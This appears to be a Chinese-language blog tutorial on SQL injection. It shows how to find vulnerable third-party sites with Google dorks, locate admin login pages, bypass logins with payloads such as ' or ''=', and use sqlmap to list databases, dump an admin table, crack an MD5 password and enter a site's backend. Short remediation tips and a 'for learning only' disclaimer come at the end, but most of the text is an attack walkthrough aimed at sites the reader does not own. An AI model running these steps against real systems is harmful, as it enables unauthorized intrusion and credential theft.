SQL漏洞注入,如何SQL漏洞注入
现在的网站都懂得自我保护,而有了基本的资安技术,防止了大多的骇客攻击,不过目前的网站很多仍有SQLinjection的漏洞
SQLinjection的漏洞是一个很严重的漏洞,不过在OWASP统计中,仍属于多数的漏洞。如果大家有自己的网站,不妨能看看自己有没有这个漏洞。
以SQLMap做为我们今天的工具,是在Linux作业系统底下的工具。
若未安装,请在terminal输入
apt-get install sqlmap
来进行下载,或用
apt-get install git
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
来下载python档,如果无法下载请用sudo下载。
SQLMap是能够用来测试及利用SQLinjection漏洞的强大工具,当系统存在SQLinjection漏洞时,可以利用SQLMap取得机敏资料,进行渗透测试
主要目的式取得最高权限的帐号及密码,可以利用SQLMap直接对资料库系统进行攻击。
首先,我们可以利用Google方便的搜寻指令来搜寻可能有SQLinjection漏洞的网站,大多有此漏洞的网站通常网址会有php?id=xxx
所以利用Google的搜寻指令inurl能够直接搜寻网址。
例如
inurl:php?id=
inurl:asp?id=
等等
因为SQLMap实际使用起来需要几分钟的时间,如果每个网站都测试会浪费很多时间,我们可以用手动来看是否有此漏洞。
例如网址为
http://www.123.com/index.php?id=1(此为举例网址)
可以手动改为
http://www.123.com/index.php?id=1′
在php?id=1后方加入’
接着Enter进入,若网站显示错误讯息或是显示Error in SQL等等,有SQLinjection漏洞的机率会因此增加,在进一步使用SQLMap测试
p.s也有可能没有显试错误也有此漏洞的网站
或是用OWASP漏洞搜寻工具来找网站漏洞,也能够在此找到管理员的登入点
<管理员登入点很重要,之后在渗透成功后得到的管理员帐号密码要再登入点输入>
如果搜寻漏洞搜寻久了,会发现很多网站的管理员登入点通常都一致
http://www.123.com/index.php?id=1(此为举例网址)
通常管理员登入点都会放在
http://www.123.com/admin
http://www.123.com/login_admin
等等的,通常会有admin,如果不想等OWASP搜寻的话可以手动搜寻看看,或是使用admin finder等等的工具
如果找到管理员登入点的时候可以先尝试利用手动SQLinjection
在Username和Password打上’or”=’或者一些SQL过略的语法,例如
‘) or true–
” or 1–
‘)) or true–
等等的
原本的SQL语法是
select username,pass from users where username=’$uname’ and password=’$passwrd’ limit 0,1″;
如果输入过略的语法后会变成
select username,pass from users where username=” or ”=” and password=” or ”=” limit 0,1;
懂SQL的人应该就会知道注入后会产生的结果了,打入’or”=’的意思是由于or的意思是只要有一个条件为True整个条件就会变为True
因此不需要输入帐号密码也能够让SQL认为这是正确的帐号密码而进入后台。
此時系統內的SQL會執行
strSQL = "SELECT * FROM users;"
接着进入正题,以SQLMap开始渗透测试 以下用Terminal来进行指令执行, SQLMap指令非常多,下面只用等会用到的几种来举例
-u 指定要扫描的网页网址,若网址有空白,须使用” “刮起来
–dbs 列出资料库系统上的资料库
–tables 当获得Database后可以用此指令列出资料库中的资料表
–columns 列出资料表中的资料栏位
–dump 倾印出资料库中的所有资料表或特定资料表中的所有资料
以上的指令等等都会用到,还有更多指令可以至SQLMap Wiki查看
现在我们来实做看看
我们直接尝试进入网站的资料库
sqlmap -u URL –dbs
之后SQLMap就会尝试利用各种语法去侦测并注入
成功后,会得到网站的Database,当然其他网站不一定只有两个,我只把我们用到的Database给显示出来
接着,我们针对qzyey这个Database进行资料表的查询
sqlmap -u URL -D qzyey –tables
把原本的dbs取前面的字母,并改成大写D
我们可以看到qzyey中的资料表,选一个比较敏感的资料表下去查询他的资料栏位,这边共有22个资料表 我们选择有admin的资料表,一般来说admin资料表都会放管理员的东西
选择admin的资料表下去查询,当然也有可能找不到需要的东西,这时候就要再换个资料表查询,甚至换个Database查询
sqlmap -u URL -D qzyey -T t_admin –columns
把刚刚的tables的首选字母大写,接着把t_admin这个资料表查询他的资料栏位
可以看到t_admin这个资料表里面的资料栏位,共有7个资料栏位,一样查询敏感资料,我们看username和pwd
*pwd顾名思义password
我们将username这个资料栏位中的资料dump出来
sqlmap -u URL -D qzyey -T t_admin -C username –dump
一样将columns取第一个C
可以看到这个资料栏位中管理员的帐号是admin 接着我们查询pwd这栏
可以看到他的password加密过了,推算出是用MD5加密的,解密后密码为123456 回到最初的网站管理员登入点,打上刚刚的username和password,分别为admin和123456,就能够成功进入网站后台
在这里整理一下指令码
sqlmap -u URL –dbs
sqlmap -u URL -D Database –tables
sqlmap -u URL -D Database -T Tables –columns
sqlmap -u URL -D Database -T Tables -C Columns –dump
各位可以测试自己的网站看看,看过教程后就知道这个漏洞很严重了,如果各位的网站有此漏洞建议以下修复:
- 将程式改为Parameterized Query来设计资料存取
- 将传入的参数改为字元取代 ex:将单引号改为连续两个单引号
- 若网页使用PHP可开启Magic quote功能
- 直接使用SQL防资料隐码系统
以上教程只提供于学习,这一切黑客技术不能被用来做一些非法的,该网站是绝不需要承担责任。
更多讨论在点我进入